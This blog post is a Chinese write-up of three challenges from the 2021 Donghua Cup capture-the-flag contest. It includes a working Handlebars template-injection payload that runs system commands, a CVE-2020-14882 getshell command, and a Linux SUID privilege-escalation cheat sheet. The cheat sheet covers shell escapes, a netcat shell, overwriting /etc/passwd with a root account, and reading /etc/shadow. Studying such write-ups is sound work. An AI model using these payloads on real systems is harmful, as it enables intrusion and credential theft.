2021东华杯

前言

比赛那天体侧==人傻了,后面也没心情做,但是感觉比赛的题都是可以学习的,可惜没想到环境马上就关了–

apacheprOxy

附近是一个docker文件,发现是GKCTF2021的原题(简化版),这里主要学习一下学长的工具试试看

首先使用扫描器扫描链接

python3 ws.py -t xx.xx.xx.xx

然后使用工具一键getshell

python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami

eznode

看看能不能本地起一个跑一下看看
配置过程,首先出现了第一个问题:

'const' is available in ES6 (use 'esversion: 6') or Mozilla JS extensions (use moz). (W104)

查到解决方法是:在开头添加一个

/*jshint esversion: 6 */

然后一直说找不到module,install了很多次,发现需要cd到那个项目目录下去install这些模块

npm install

由于前面的登录部分需要麻烦的数据库之类的配置,所以我就直接进入到upload的路由,并删除校验的部分了
查看package.json,一个一个查漏洞(积累下)

{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}

发现hbs的模板渲染有一个CVE-2021-32822
参考文章:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /flag').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

OldLibrary

这里就记录一下

Linux SUID 提权

关于suid

suid是赋予文件的一种权限
具体叙述可以参考:https://www.cnblogs.com/sparkdev/p/9651622.html
总结来说就是:当一个二进制可执行文件具有suid权限时,尽管不是root用户也可以执行本该root用户才能执行的功能

查找suid权限位文件

下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap(2.02-5.21)存在交换模式,可利用提权

nmap --interactive

之后执行:

nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

exploit/unix/local/setuid_nmap

较新版可使用 --script 参数:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

find

touch test
find test -exec whoami \;

nc 反弹 shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

2.3 vi/vim

打开vim,按下ESC

:set shell=/bin/sh
:shell

或者

sudo vim -c '!sh'

2.4 bash

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

2.5 less

less /etc/passwd
!/bin/sh

2.6 more

more /home/pelle/myfile
!/bin/bash

2.7 cp

覆盖 /etc/shadow/etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

2.8 mv

覆盖 /etc/shadow/etc/passwd

2.9 nano

nano  /etc/passwd

2.10 awk

awk 'BEGIN {system("/bin/sh")}'

2.11 man

man passwd
!/bin/bash

2.12 wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

2.13 apache

仅可查看文件,不能弹 shell:

apache2 -f /etc/shadow

2.14 tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.15 python/perl/ruby/lua/php/etc

python

python -c "import os;os.system('/bin/bash')"

perl

exec "/bin/bash";

就测试了一下vi的,发现还挺神奇的

原作者用得是

find / -perm -u=s -type f 2>/dev/null #查找系统上运行的所有SUID可执行文件
comm /flagggisshere /dev/null 2> /dev/null
img

参考:http://www.snowywar.top/?p=2743

Author

vague huang

Posted on

2021-11-01

Updated on

2022-03-27

Licensed under

Comments